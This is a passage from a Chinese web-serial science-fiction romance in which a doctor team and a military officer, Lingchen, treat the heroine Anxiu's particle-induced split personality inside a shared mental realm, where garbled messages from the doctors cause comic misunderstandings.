她这几周没有离开过医院,青色的血管像枯萎的叶脉一样流淌在苍白的皮肤下,失去了往日的活力。
她忽然觉得这一切很荒谬。
那个声音又趁虚而入了。
很荒谬,对吧?她们像对待动物一样对待你。
因为你是最低等的红眼睛,最危险的异能者,她们有权这么对待你,正如她们有权这么对待你的家人。
才不是!
她咬紧牙关。
你是高能粒子,她们在治疗我,而你在引诱我。你的目的是什么?
别搞笑了。先是用可笑的慢性毒搪塞你,然后用上皇室的那张医疗床。什么高能粒子......你觉得你有机会看到医生的医疗柜吗?你怎么知道那不是她们精心设计的又一个谎言?
要我说,这是她们对你做的试验。凌宸是军备统筹部的成员,急着研究深渊舰,你就是最好的试验体。
你已经拿到了名单,没有任何利用价值了。如果你死了,他马上可以再娶一个门当户对的女人,两全其美。谁想要一个红眼睛的伴侣?
他是这样的人?安秀问道,我看着不像。
但你也无法证明他不是这种人,对吗?你们不过认识了几个月,居然要把生死交给他?
他短短时间爬到高位,城府之深不言而喻,你在自取灭亡。
安秀在脑海中沉默了,只剩下那个声音响彻在耳边。
你要为了自己弄清楚真相。她们都在骗你,就像皇室的那些人骗你出去旅游,结果把你带到科研中心做试验那样。
安秀的身体不可抑制地颤抖了起来。
迈尔西的余光看见这恐怖的一幕,一个箭步冲上来拍打隔离板。
“你还好吗?你还好吗?!”
其她人听到动静,全都把注意力转移到这边。
迈尔达在另一头问:“怎么了?”她的虚拟影像出现在检测数据前,又看了下正在发颤的安秀,内心有些疑惑。
“给她打镇定剂。”
“我不推荐这么做,”迈尔西反驳道,“她已经开始深渊分裂性颤抖了,颤抖频率和普通的颤抖有细微差别,很容易混淆。”
深渊分裂性颤抖要结合症状和数据来判断,如果是真的数据会有显示,”迈尔达撇眉,“我在深渊领域的研究比你更深刻。”
“可是......”
迈尔西毕竟是没有经验的刚上岗的医生,一时间也怀疑起自己的判断。
但他的直觉告诉他,病人的状态很危险。
迈尔达重复:“只是附带性的临时震颤,用镇定剂就好。”
33.不是情人
“镇定剂和抑裂剂同时使用的话,也不会有副作用,”迈尔西硬着头皮提出建议,“两个同时使用也不会怎么样,就当以防万一。”
迈尔达皱了下眉,对他当众挑战权威的行为表示不满,但还是同意了。
镇定剂和抑裂剂同时打入身体,安秀闷哼一声,感受到冰凉的刺痛。
过了数秒,她停止了震颤,抬起眼眸。
“我要见凌宸。”
“凌长官还有五分钟到。”迈尔达侧了侧头,听到副官的消息。
“我现在就要,见到他。”
安秀浑身散发杀气,手臂浮现闪烁异光的麟片,颈环变成了危险的红色。
“咔嚓”、“咔嚓”,桌子上的试剂在粒子波动下碎了。
手无寸铁的医生们愣在原地,仅有的几个大胆的医生向前安抚,其中包括迈尔西。
“你先冷静,凌长官马上就到了!安秀,清醒一点,你还听得见吗?”
安秀置若罔闻,不顾医生们的惊呼,一掌拍开身后偷袭的机械臂,昂贵的仪器被抓得变形扭曲,精密的零件散落一地。
“快速撤离,病人已经失控了,保重自身安全,”迈尔达在另一边下令,然后神情凝重地对通讯中的凌宸开口。
“凌长官,我们需要你。安秀的精神已经彻底分裂,知不知道真相都没用了。过不了多久,她的身体也会分裂,到那个时候只能人道毁灭。”
谁也没有想到,通感疗法的尽头,竟然是深渊型分裂症。
高能粒子在通感治疗的持续刺激下转变攻击模式,即便患者不知道真相,也会在分裂中走向毁灭,这个过程比直接爆体而亡更折磨人。
迈尔达的背后冒出一身冷汗。不难想象,要是没有给安秀打抑裂剂,她的分裂只会更加迅速。
搞不好,所有人都会死在这。
“凌宸,你在,对吗?”安秀对着治疗室的监控,压抑着怒火,“你一直在骗我!”
凌宸让医生撤离,开启了虚拟影像:“都出去,我跟她谈谈。”
“你终于愿意出现了。”
“安秀,”凌宸走近她,“你先冷静。”
“我受够这句话了!”她手臂一挥,治疗室的东西碎了一地,她突然痛苦地抓住了脖颈。
颈环和药物的抑制令安秀非常难耐。她恨极了这些让她无法释放本性的东西。
“我凭什么信任你,我们不过是互相利用的关系。你就是和那群人没两样,我从来没猜错过。”
安秀的脖子上冒出羽管一样的东西,很痒,她烦躁地摇头。
“你到底要怎样才肯信任我?”一直冷静自持的凌宸见她如此顽固,也不由得觉得无力,“安秀,你被高能粒子误导了,这个世界上不是只有想害你的人。”
“只有家人才不会害我,我没有家人,”安秀又是一阵颤抖,“我不知道她们去哪了。”
“我是你真正的法律意义上的亲人,”凌宸一字一句道,“你可以相信我。”
只要在能力范围内,他不会容许亲人死去。安秀曾经说过他是唯一的家人,当时他把她推开了,可这不代表他冷血到了骨子里。
安秀像一只带锁的飞鸟闯进他的生命,存在感实在太强,他做不到忽视她。
他还不想放弃。
安秀抬眼,看了看他湛蓝的眼眸和紧紧抿住的嘴,突然想到了什么,不屑地嗤笑出声。
“你还真把我的话当真了?谁会把你当亲人,你才不是我的亲人。”
那汪水沉沉地落了下去,干涸至湖底。凌宸长长的睫毛颤了颤,终究没说出一句话。
他不清楚这种可笑的落差感从何而来。
“但是,”安秀话锋一转,满意地看到他眼神微动,“你要是肯进来,不怕我杀了你,我就相信你。”
身体里的高能粒子叫嚣着复仇,把那个阻止它们的存在杀了,这样它们就可以无止境地暴虐。
她要杀了凌宸,没人拦得住她。
只要杀了他——这个问题的源头,无论他先前是不是在骗她,她都会彻底自由。
没有试验、没有病痛。
粒子流淌在身体,安秀从未感到如此畅快。
“那你有没有想过......”虚拟影像的凌宸轻叹一声,消失了。
真实的凌宸出现在门口,穿着一身整齐的将服:“我从来都不是你的‘情人’。”
她们的关系早已被世俗绑定了。
这句话像沉闷的鼓,敲响安秀心底的回音。她晃了晃神,不知自己为何动容。
可是下一秒,她体内几乎异化完毕的粒子嗅到了凌宸的气息,再度沸腾起来,压过了所有感知。
像是闻到了血的捕食者,她迈开腿,一步步朝猎物走去。
凌宸也走上前,然后站定,双臂微微打开,收起周身的气息。
他的眼眸下垂,乖顺得像敛起羽毛的蓝丝鸟。
医疗室的距离很长,从安秀的那一方灰白色天地,到凌宸所在的亮光处,需要走整整二十步。
前十步,安秀按捺着对他的渴望,慢慢地、不引起他恐惧地走。
后十步,她大步向前,像是再也忍不了了似的冲过去,贴到凌宸的鼻尖,他的头发因风微动,二人四目相对。
呼吸打在对方的脸上,一边急促,一边平缓。
凌宸依旧一动不动,除了贴近的那一瞬间,淡粉色的嘴唇轻颤了一下。
安秀项圈的红光频率越来越高,到达峰值后居然消失了,取而代之的全都是变异的高能粒子。
她冷笑一声:可以随便消灭眼前这个人了。
铺天盖地的粒子倾轧而下,正当她要割下他的喉管的时候,凌宸轻声呼唤:
“安秀。”
安秀停了下来,发现自己怎么也下不去手——她的神识回来了一点。
她看到凌宸毫无防备地站在她眼前,不可置信道:“你疯了?!”下一秒,她又开始痛苦地跟分裂人格争夺主导权。
凌宸一粒一粒解开军装扣子,安静的医疗室一时间只听得到金属相碰的声音。
一件件脱完
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后,他只剩一件薄薄的黑色打底衣。在忍到快发疯的安秀看来,他的脖子比刚才白得更加显眼了,可以清晰地看到血管。
温暖的血液在脆弱的皮肤下流动,这对她来说简直是致命吸引。
“来吧,”凌宸难得有些活泼地歪了歪头,流露出让她陌生的倜傥,“你不是想吃了我吗?”
这句话像一个引线,轰隆一声把安秀的理智炸成了碎片。她彻底抑制不住分裂人格,任由“她”跑了出来。
“你自找的!”
她死死抱住凌宸,贪婪地吸取他的生命力,听到他难受的闷哼声,她不屑地笑道:“区区低阶异能者,还敢跟我抗衡?”
她的手臂泛起黑色纹路,而凌宸的手臂出现金色纹路,两人的粒子对抗、交融,更多时候是凌宸被动承受了一切。
高能粒子无止境地入侵凌宸的身体,想要借助安秀的高阶异能撑破他,让他爆体。
四周的医疗用具在撤离时被收容,治疗室只剩下空荡荡的墙壁和天花板,肆虐的异能留下可怖的刮痕,就连材料更为坚实的监控器都被打坏。
安秀看着他脖子逐渐渗出来的血丝,呵呵笑了起来,想抓上去。
被她的另一只手死死抓住了。
“你不是我。”沉着的声音近乎虚无缥缈,真正的安秀在意识的底端呼唤,“是时候了,凌宸,我要撑不住了。”
安秀的眼睛微微睁大。
凌宸忽然爆发了高阶异能,将她传进身体的粒子如数奉还,双手死死按住她的肩和腰,不许她逃离。
“你是该走了。”他的声音带有一丝笑意。
他一直等待这一刻。虚拟体分析的安秀的情感数据,他早就熟记于心。
安秀怒喝一声,绷紧了肌肉阻止他的动作。可是凌宸的豹尾不知道什么时候一圈圈将她们缠了起来,无论怎么挣扎都挣不开。
没有了将服外套的阻隔,二人紧贴在一起,深渊粒子疯狂涌入她的身体,将部分黑色的纹路染成金色。
安秀掐住他的脖子,刮出血痕,凌宸的另一只手按住她的手腕,一脚将她踢得失去平衡,两人翻滚到了地上。
安秀一个打挺将凌宸压在身下,又因为不断冲进体内的正常粒子卸力,凌宸伺机反控。
体内的能量正在被吸走,她感到一阵莫名的恐惧,高能粒子想再次爆发,却被凌宸的一型异能压制住,只得一退再退。
“可恶,你竟然......”
凌宸拿出一管粉色的基因链试剂,先给自己打了一针,然后拿起蓝色的那管。
安秀看到那管试剂,拼命挣扎了起来,凌宸被她的力气耗得微喘,小声说:“嘘,别动、别动。”
然后用力将那管试剂塞进了她的口中。
军用手套的皮革清香灌入鼻腔,她甚至来不及品尝试剂的味道,就被有些粗暴的来自手指的翻搅刺激得干呕。
在来自心底的主人格、各种药物和颈环、还有凌宸异能的控制下,安秀终于失去了力气。
她完全吸收了那管基因链。
34.大猫入怀
当信号恢复后,一帮医生紧张地赶到现场时,安秀已经安静地躺在了治疗床上,凌宸衣着整齐地站在旁边,手里拿着联络她们的通讯器。
要不是整个医疗室一片令人心惊胆颤的狼藉,别人恐怕要以为她们只是进行了一场和平的谈心。
凌宸很快跟一拨人去往另一个治疗室,通感疗法继续进行。
迈尔达在临走前精确地分析了局势,拥有传染性的粒子总数没变,她们只需要按计划消灭即可。
......
组长日志-迈尔达-帝国历1048年12月5日;1:21:
今日报告:......
总结:以下是病人发病的全部流程,后续备用。
11月21日,病人确诊高能粒子感染,感染程度40%,症状为头晕、呕吐,似感冒。后在通感疗法和药物干扰下保持稳定,上升约30%,症状为轻微癔症、呕吐、头疼、短暂失忆。
12月14日,病人眼神迷离、魂不守舍、癔症不止,病情加重。医疗组赶到时,已经出现精神分裂先兆。约30分钟过后,病人浑身规律性颤抖,疑似深渊型分裂症。后综合表现得知,高能粒子加速感染了全身粒子,产生了深渊型分裂。
总结可得出,高能粒子在保守治疗时会引诱病人想起真相、快速爆体;而在激进治疗(通感疗法)时会刺激病人分裂。
唯有在生理性分裂前治愈分裂,才能保留一线生机。
报告的末尾,是一行加粗标红的大字:治愈分裂的方法为——精神脑域共感。
医用虚拟体随时待命,数不清的数据分析流在医疗室滚动,迈尔达等众人只能通过数据推测二人的状态。
“两人深度昏迷,但大脑活跃,看来高能粒子刺激出了两人的精神领域,这是极少见的高阶异能现象。”迈尔达不愧是深渊领域的专家,一下就分析出情况。
“那我们现在该怎么办?”迈尔西问。
“高能粒子很狡猾,知道不能大肆攻击露出破绽。我们要引导安秀,把凌宸体内的高能粒子净化掉。”
被打了蓝色药剂的安秀昏迷过去,身体时而轻盈,时而沉重,直到如同一片沾水的羽毛坠了地,她一脸疲态地从地面上坐起来。
她怀疑自己眼花了。
四周是一望无际的巨大森林,几乎挡住了上方的天空,阳光碎在她们身上。
没错,是她们。她的旁边有一只巨大的黑色蓝纹豹,正伏低身子,耳朵后压,弓着身子对她呲牙。
这是怎么回事?她只记得在昏迷前,凌宸给自己塞了什么东西,然后一醒来就到了这个世界。
安秀不敢转身就跑,而是谨慎缓慢地后退:“......凌宸,是你吗?”
她们怎么在这里?凌宸怎么变成一只大猫了?
医疗室的诸位根据数据流分析出大概的情况。
凌宸的数据流处于乱码状态。
“凌宸失去了理智,正在单独和高能粒子抗衡,需要用粗暴一点的方式唤醒他精神领域的身体。”
于是她们编辑了一串代码,传到二人的脑域。
那串代码的原意是:利用医疗组传过去的矩阵手枪给凌宸一枪。但是有关深渊的科技尚未达到人类科技的顶尖水准,安秀只看到了被扭曲后的版本。
「我们是好医生。给他一巴掌。」
聪明的安秀已经拿起了镇定枪,虽然不知道是什么时候出现在地上的。所以,她看到这行字的时候愣了一下。
给它一巴掌?
黑蓝豹又开始危险地咕哝起来,浑身肌肉绷起,马上要蓄力冲向她。
她极速在心中确认这条信息的可信度,想不出除了医疗组介入外的别的可能。关于高能粒子的抗争还在继续。
她应该信任她们。可是给一巴掌......
安秀还是非常不情愿地放下了枪,然后蹑手蹑脚地走到黑蓝豹跟前。后者没想到她这么胆大包天,低吼警告她不要靠近。
还没等黑蓝豹的声音落下,安秀五指合拢,综合人体力学,用尽最大力气拍了它脑袋一巴掌。
不知道这鬼地方是哪,她可不想死在这,只能委屈下凌宸了。
巴掌着肉的清脆响声响彻树林,黑蓝豹的头都被拍歪了。
它转过脑袋,先前昏暗的眼神变得清澈无比。安秀头一次在一只大猫脸上看到了不可置信。
“代码生效了!”迈尔西抹了把汗,“我还以为会出问题呢。接下来要干什么?”
专家组经过一番讨论分析,得出应该让安秀安抚凌宸的结论。
凌宸的数据流终于出现了,但很不稳定,安秀的数据流还算稳定。想必她们已经激烈地搏斗过一番,而落于下风的凌宸正在情绪崩溃的边缘。
迈尔西又在虚拟体的辅助下写起代码,这回的内容是“请稳定凌宸的情绪。”
这句话到安秀这里,就变成了:
「保持凌晨的心情,谢谢。」
这几个大大的字出现在她和凌宸之间的上空,安秀又愣住了。
什么保持心情?什么凌晨?
凌晨的心情是什么心情,抑郁?还是反思?怎么看都是负面的意思。不管了,先试试。
她在黑蓝豹谨慎的眼神中深吸一口气,酝酿了一下心情,然后掩面悲伤了起来,从指缝中看它的反应。
“安秀的数据流波动了,情况貌似有点棘手,”迈尔西凝重道,“咦,等等,好像有用?”
凌宸的数据流正慢慢变化到正常状态,即将恢复理智。
精神领域这边,黑蓝豹见她哭得这么伤心,保持警戒心地拿前爪拍了她一下作为试探,安秀“嘶”一声呲了下牙,想起自己不能吓到他,赶紧换成伤心模样。
没过多久,她感觉到一个毛茸茸的东西。低头一看,黑蓝豹拱起了她的手,把整颗脑袋埋进了她的怀里。
它的脑袋毛茸茸、暖乎乎,大小几乎等同与她整个躯干。
一人一豹陷入诡异的静止,一片叶子飘在黑蓝豹的头上,安秀帮它弹开,它抖了抖耳朵。
而在医疗室看来,则是两人的数据流都停止了变化,情况陷入僵局。
几个专家提议道:“再刺激一下好了,以免他数据回流。”
这在所有人看来是个中肯的提议,在高能粒子的持续干扰下,凌宸有可能再度失去理智,再刺激一下更稳妥。
于是迈尔西稍微改了下第一次的代码,又传了过去。
「给他一巴掌。」
看到命令的安秀:“?”
这个命令非常奇怪,但既然是整个医疗组的决定,她应该听从。于是,她捧起了黑蓝豹的头。
黑蓝豹浑身
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都是华美的蓝色花纹,两颗蓝宝石一样的眼睛被阳光照射,显得更加晶莹剔透,还在对她舒服地眯眼。
如果豹子也分颜值的话,这头算得上顶级,安秀看到它非攻击状态下的脸,一时间竟然有点舍不得下手。
在经过一番激烈的心理斗争后,她最终还是咬咬牙,闭上眼睛,再度抽了上去!
“等......”
“啪!!”
已经晚了,巴掌着肉的声音。
这回的手感非常、非常不妙。
因为,她好像,打到了凌宸的脸。
已经变成人型的凌宸捂住脸颊,痛得说不出话。一向冷静的他露出让人难以忽略的幽怨眼神。
“对不起,咳咳,这是医生的命令。”安秀悻悻收回了手,十分不好意思地道歉。
实在是太尴尬了。
“她们让你给巴掌,你就下这么重的手?”
“很疼吗?”安秀后知后觉地担忧起来,想要摸摸他的脸。
凌宸别开了脸,皱了皱眉。
安秀看到他的表情,想起他不喜欢肢体接触,于是识趣地把手收回去了。
凌宸的目光放在她收回去的手上,停留片刻,又默默移开。
正当安秀以为他已经非常生气,坐立难安地想话题时,半空的中的字条像救命恩人一样出现了。
「帮忙过滤高级颗粒物。」
这句话吸引了两个人的注意,安秀反应过来道:“高级颗粒物是高能粒子的意思吗?要帮我过滤高能粒子?”
“不是你身上的,是我身上的。”
见到安秀疑惑的眼神,凌宸将前因后果解释了一遍。
“我的异能比较特殊,不会被高能粒子压制,所以把你的高能粒子转移到我身上再消灭。”
他轻飘飘地代过自己数次忍受难以想象的痛苦的事实。
“原来是这样,我误会你了。”安秀赧然,想起之前对他的怀疑,还有在医疗室失控时说的话,有些愧疚,“那我们该怎么做呢?高能粒子在哪?”
「变成贴纸。」
看到这梦话一般的文字,凌宸的脸一沉,冰冷地说:“军部医疗系统亟待改革。”
在多番引导下过后,安秀已经差不多习惯她们的风格,开始认真分析起来。
“变成贴纸,贴纸是贴在一起的,所以她们要我们贴在一起?是这个意思吗?”
“我不这么觉得。”
凌宸并不认同这种天马行空的联想。
“像贴纸一样把你的高能粒子‘粘出来’,我们是不是要用到吸附的用具?”
“她们并没有提供这种工具,如果是你吸附的话,只会让你陷入危险,治疗就没意义了,所以不可能。”
“那只有第一种可能了。除非你想得到别的可能性。”安秀有些不满地撇了一眼,不喜欢她说一句,他就反驳一句的行为。
凌宸环起双臂,像没听到似的开始观察四周的环境。
安秀轻咳一声,试图引起他的注意。
“咳咳。”
凌宸开始划拉一旁的树皮,拿到鼻子边嗅了嗅。
“这是帝青星的一种常见植被。这个精神领域,应该从是从我的记忆中构建的。”
“咳咳!”
凌宸头上的兽耳往她这边扭了扭,但没有回头。
35.难以忍耐
然后他又在一旁的灌木丛旁蹲了下来,开始观察那些植被的特点:“这里没有新鲜粪便的痕迹。按理来说,这种灌木是小型食草动物最爱的地方。”
“喂,你这人的脾气怎么这么怪?”安秀的耐心被耗尽,大步向前,迫使他跟自己对视,“我们现在应该解决高能粒子的问题。不然,连什么时候能出去都不知道。”
凌宸的兽耳竖起来,终于回应了她的话:“要是我们接触,高能粒子伺机跑到你身上呢?我们的努力就都白费了。”
她双手叉腰,避开凌宸的眼神:“不试试怎么知道。再说了,你的异能不是可以阻止我吗?”
“没有人知道这么做的后果。先不论你是否已经知道了真相,在高能粒子入体的那一瞬间会不会爆体,假设第二次被高能粒子感染,你的异能和人格都有可能崩溃。”
“......”
“你现在浑身都是高能粒子,它们虽然不能增生,但谁也无法保证不会受到我的影响。无论如何,不行。”
说罢,凌宸轻哼了一声,揉起了太阳穴。
“你没事吧?高能粒子开始攻击你了!”
安秀一惊,想靠近他,忽然想到他说的话,后退了几步。
“它们从一开始就在攻击我。你再离我远点。”
她又后退几步,凌宸的状态恢复了一些。
“我一后退,你的状态就会好点吗?”
“......”
凌宸作伏低状,似乎在忍耐什么。
斑驳的树影被他挡成长条的黑影,延伸到安秀的脚下。
“凌宸?”
“走开!”
他开始半兽化,体内拥有增生能力的高能粒子正在疯狂吸食他的能量,并被同样拥有高能粒子的安秀吸引。
现在,他必须全力抑制想要扑食安秀的冲动。
情况相比起刚才,完全转变了。
如果她再不走,他就要......
然而安秀对这个情况一无所知。她只看到双手紧贴胸前的凌宸,几乎半蹲在地上,体型比刚才大了一圈,尾巴也变粗了不少,正在烦躁地拍地。
这对猫科动物来说不是好事——如果现在的凌宸称得上猫科动物的话。
这个家伙,好像彻底变成人型大猫了。
“凌宸,”她突然有了一个大胆的想法,“高能粒子是不是被我吸引了?”
对安秀说谎需要耗费更多力气。凌宸点了点头。
“那我就是贴纸,要把你的高能粒子‘贴’出来,然后之前怎么消灭它的,就用同样的办法消灭。”
“唔......”凌宸又痛苦地低吟了一声,“不行。你打不中的。”
“我要靠近你了。”
“不行,很危险!”
安秀置若罔闻。她理解凌宸不到万无一失不行动的心理,但她们没有那么多时间了。
凌宸可能没注意到,这片精神领域正在逐渐消弭。绿得一望无际的树木的轮廓变成了没有生命力的灰白色,连照在身上的阳光也失去了温度。
她捡起开始被丢在一边的镇定枪,切换成攻击模式,然后一点点靠近凌宸,后者已经忍得满头大汗。
“嘿,你不用忍了。”安秀在他面前晃了晃手,示意他可以把高能粒子释放出来。
“......”
见凌宸还在忍耐,手臂上的纹路金黑交错,安秀不由得感叹:“你怎么那么能忍。”于是又走近他几步,二人的鼻尖几乎相对。
见猎物就在眼前,凌宸体内的高能粒子更加疯狂起来。他几乎要窒息。
“都说了,你不用忍了,”她低笑出声,恶魔一样在他耳边低语,“你怎么这么可......”
“爱”字还没说完,安秀忽然感到一阵天旋地转,背部传来火辣辣的撞击感。从轻微眩晕中回过神来后,她发现凌宸把自己扑倒了,庞大的身体将她整个笼罩在身下。
如果有高能粒子,她一定能在被扑倒前迅速反应过来。可见凌宸还是没释放它们。
他灼热的气息扑在她的胸前和脖颈,可是那双蓝色眼睛执着得像一块坚冰,哪怕被烈日灼烧也不舍得融化。
两人的姿势有些过分亲密。凌宸的头低下来,淡粉色的唇与她仅有不到两厘米的距离。
见他目光迷离,似乎还没有停下来的意思,两人的唇瓣即将碰到一起。
安秀伸出一根手指,顶开了他的额头。在顶开的过程中,她感受到了一些阻力。
“相信我,我能搞定。”安秀选择劝说,“你不是一直想让我相信你吗?要是连你自己都做不到,还怎么说服我做到?”
“......这不一样。”凌宸被她顶开,清醒了一点,但仍需耗费很多理智才能说出一句短促的话。
“放心把自己交给我吧。”
“唔,都说了,”他闭上眼,无法控制地摇了摇头,晶莹的汗珠落在柔软的草地,像露水一样滴进泥土,“不可以......”
她们的时间要不够了。安秀余光看到消弭加速的精神世界,内心冷静地评估情况。
还是得她出手。
“看这里。”安秀用手指凝聚起一颗小小的粒子光球,这个光球里混进了不少黑色杂质,是高能粒子感染后的症状。
凌宸的目光瞬间锁定这颗光球,眼瞳迅速放大。
趁凌宸无暇顾及某些细节,她又坏心眼地加了一句:“嘘嘘,大猫看这里。”
他的眼都红了,理性受到了前所未有的摧残。
不是因为光球,而是因为变出光球的人。安秀外化出粒子后,对他来说就像加了很多层果酱的蓝莓蛋糕一样有吸引力。
他终于释放出了具有传染性的高能粒子,两颗黑色光球出现在他身后。
凌宸作为高能粒子的容器,失去效用后力竭倒下。安秀从他身下翻滚出去,拼尽全力往森林里跑,想先拉开一段距离。
身后的空气仿佛被烧出焦糊味,她甚至不用回头,就能听见黑色光球高速旋转时撕裂气流的尖啸——那东西正以肉眼可见的速度膨胀,边缘闪烁着不祥的暗紫色电弧。
安秀在腰边疯狂摸索,冰冷的枪身终于硌到掌心。
在两颗光球融为一体之前,她发动全身异能加强感官,世界的一切陷入短暂静止,然后使劲浑身解数用异能将枪的威力提升到极致,扣下扳机。
“砰!”
镇定枪攻击模式的后坐力震得她虎口发麻,矩阵弹裹挟着粒子干
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扰擦着树叶飞过,精准命中光球核心。
刹那间,那团黑暗像被戳破的墨囊般剧烈颤抖,无数细碎的光斑从内部迸裂,最终化作一缕青烟消散在黑暗的森林里。
看来医疗组设置的武器的威力比她想象的还大。
等等......另一颗光球呢?
四周都是昏暗的森林,没有任何动物存活过的痕迹——包括鸟鸣。森林在那缕青烟消失后,便陷入死一般的寂静。
身后传来树叶的簌簌声。她蓦然回头,身后一切如常。
再一看,凌宸躺过的那片地方没人了。
她心中警铃大作,暗道不妙。还没等她重新确认方位,一道黑影如旋风一样朝她袭来。
轰隆!
二人的异能撞到一起,安秀被他强有力的尾巴抽飞,被拍到树上。不过安秀很快移动到大树后面,躲过多次轰炸,然后操控一颗光球飞了出去。
被高能粒子控制的凌宸被那颗光球吸引,她抓住机会打了好几枪。
镇定枪的效用明显,凌宸被矩阵短暂控制住。树影在他的挣扎下剧烈振动,然后很快树叶飘飞,凌宸挣脱矩阵朝她扑来。
安秀又抛出一个光球掩护自己的行动轨迹,但效果没有之前那么明显。
体型比她大得多的半兽化状态下的凌宸径直接近她,眼神浑浊又陌生,令她汗毛直立。
所幸精神领域不受颈环压制,安秀爆发异能轻松挡住他的攻击。作为交换,她异能中的黑色粒子被凌宸吸收,风暴一样成倍奉还。
安秀转头看了一眼,身后的一大片森林被轰得焦黑,才反应过来凌宸说的“危险”是什么意思。
不知从什么时候开始,医疗组的消息就再也没传送过来,也不知道现实世界是什么情况。
她低头看了下自己的手。
那就只能......
兽化了。
这是她第一次兽化。坦白来讲,她也不知道她兽化之后的形态是什么样。
安秀的手臂浮现麟片,视野变高、再变高,直到黑雾笼罩了一整片森林。
原本比她大得多的凌宸则相对缩小,直到她可以一手捧起他的脸的程度。
在高能粒子被强行净化之前,安秀轻抚他无神的双目,说:“看吧,我就说可以交给我。”
她发动了难以想象的强大异能。
白光迸裂,世界消失。
之后的一切,她也不记得了。
“我们终止了临时通讯,因为发现代码会被多次扭曲,产生误导,”迈尔达瞥了迈尔西一眼,继续解释,“后来,我们把所有矩阵用于加强武器,并为了延长精神领域的存在时间,用完了最后一管基因链。”
“至于你说的白光,是我们配合你最后一击的结果。”迈尔西抢答。
安秀放下杯子,了然道:“原来是这样,难怪那么顺利。”
她原本还做好了跟兽化的凌宸大战一场的准备。
“凌宸现在怎么样了?”
“没有生命危险,但他会受到不小的影响,”迈尔达的语气不是很自然,因为她难得地对一件事不确定了,“为了彻底消灭高能粒子,他的精神领域也被一起消灭了。原本我们预计的破坏力不会这么大。”
36.透明吻印
既然如此,就是她异能的威力所致了。
安秀从床上直起身子:“精神领域毁灭?这对异能者来说是很危险的事吧?”
“对异能者精神领域的研究尚不完全,但大概率没有你说的那么危险,”迈尔达顿了一下,强调道,“关于这件事,我们应该上报军部。”
“也行,看看军部怎么处理这件事。”安秀不了解军部的运作规则,不过迈尔达说的话听上去有道理。
“不行,姐,”迈尔西听到她们的对话,小跑过来,“要是上报军部,凌长官会被处罚吧?”
安秀一听这话急了:“那不行,不能上报。”
迈尔达见这两人突然统一阵线,无语地摇了摇头:“迈尔西,你什么时候也染上这种官僚气了?”
“保住工作要紧,”安秀皱着眉头,找到事件的盲点,“而且,擅自启动高能粒子治疗,还组了一个医疗队,要是上报了该怎么解释?”
“这个不用担心,高能粒子治疗对外宣称是疗养,凌长官有的是手段。”说完,迈尔西得意地肘了肘迈尔达,“我们现在是一条绳上的蚂蚱啦。”然后被她毫不留情地踢开。
“好吧,”迈尔达叹了口气,“我们继续观察情况,凌宸的事就先不上报了。我可不想掺和那些势力斗争。”
迈尔西欢呼起来,快活地调营养液去了。
“幼稚鬼。”迈尔达叹了口气。
“你们关系真好,”安秀摸了摸温热的杯子,里面是刚刚调制好的营养液。
“我可不想要个讨厌的弟弟,”安秀毕竟是一起斗争过的病人,迈尔达比先前亲近了不少,“你和凌宸才更叫人羡慕。”
见她忽然提到凌宸,安秀愣了愣,没说话,只是喝下了剩下的营养液。
温暖的液体顺喉管下滑,暖意在胃部丝丝绽开,而美中不足的是口腔里的回苦,久久不绝。
“我去看看他吧。”
不同于这边的热闹,凌宸所在的治疗室像另一个世界。他躺在治疗床上,除了胸膛的起伏外,就像一尊安静的雕塑。
回忆这段时间发生的一切,将许多看似联系不起来的碎片拼在一起后,安秀大概猜出了前因后果。正因如此,她的内心才更加疑惑。
凌宸到底在想什么呢?
她坐到床边,轻柔地抚摸他纤长的睫毛,手指像被小刷子一样被挠得痒痒的。然后,她又背过手,顺着高挺的鼻梁划至鼻尖,最后在唇珠上点了一下。
凌宸还是呼吸均匀地睡着,她趴在床边看得出神,发觉出神后皱了皱眉,手指微蜷。
她又在想什么?
过了五分钟,凌宸还是毫无反应,她的心又痒了起来。
她不是那么擅长忍耐的人。既然已经脱离了需要社交礼仪的环境,她可不保证有绝对自制力。
更何况,躺在面前的,还是为了她毁灭了精神领域的美男。
安秀缓缓低下头,那淡粉色的唇瓣离她越来越近。她闭上了眼,没注意到某人的睫毛轻颤了一下。
然而,马上要碰到的时候,仅剩的一点良心阻止了她——她怎么能这么占人家便宜呢?
于是安秀上移,把吻印在了凌宸的鼻尖。
时间差不多了,她最后看了凌宸一眼,离开了治疗室。
调制好营养液的迈尔西紧随其后。他大步走进医疗室,随意扫了眼旁边的数据,道:“长官,你原来醒了。”
虚拟屏虽然大大方方在房间内竖着,但不是所有人都能看得懂上面的医疗术语,只有医生能一秒解读。
数据显示凌宸现在很清醒。
果不其然,凌宸睁开了眼,眼睛有神毫无睡意,一看就知道已经醒了很久了。他起身靠在靠垫上,像之前那样打开简易虚拟办公台。
凌宸看上去没什么变化,还是一副生人勿近、不怒自威的气势,旁人看到他冷漠的脸,只会心生紧张之感。
但不知道是不是迈尔西的错觉,长官的心情似乎比平时好了一点。
大概是高能粒子的治疗告一段落,而且医疗室的床的人体工学设计够先进,可以让病人得到充分的休息的缘故。
连轴转了那么多天,他也想在柔软的床上睡一觉啊......
然而,凌宸并不像迈尔西看到的那么淡定。他的内心正在经历一场惊涛骇浪的星球海暴。
刚刚安秀忽然低下头的时候,他差点就要睁眼了,这是在别人突然靠近他时的本能反射,但他忍住了,想知道她到底想干什么。
结果,伟大的深渊之神啊......
她居然主动吻了他。
安秀为什么要吻他?至少不会有人给完全没有感觉的人一个吻,她对他是有感觉的。想到这里,凌宸的心情就无比舒畅。
幸好他擅长装睡。
于是,他起来的第一句便是:“安秀现在怎么样?”
他失去了在精神世界的记忆,只知道自己的精神领域暂时消亡了,也不知道安秀是否受到了伤害。
“她的情况稳定了,身体里还有一些残存的高能粒子。由于是自身深渊粒子被传染的,不具有二次传染性,慢慢排出就好。”
“要多久完全排除?”
“自然代谢的话,按照她的体质,百八十年吧。”
凌宸的脸像覆了层薄冰一样冷下来:“不可以。有没有更快的处理方法?”
“长官,不是没有,而是在我们看来没必要。她的异能经过这次事情后产生了抗体,高能粒子对她来说毫无攻击性了。不过,你们要是着急,也有办法。”
凌宸抬首示意他说出来。
“用长官的一型异能过滤就好了,您的异能有绝对稳定性,可以快速代谢杂质。”
“具体的方法呢?”
“肢体接触。吸收她的粒子,然后再把净化好的粒子渡给她。”
凌宸没有说话,喝起了营养液,一股清冽的回苦萦绕鼻腔,让他不可抑制地想到那个人。
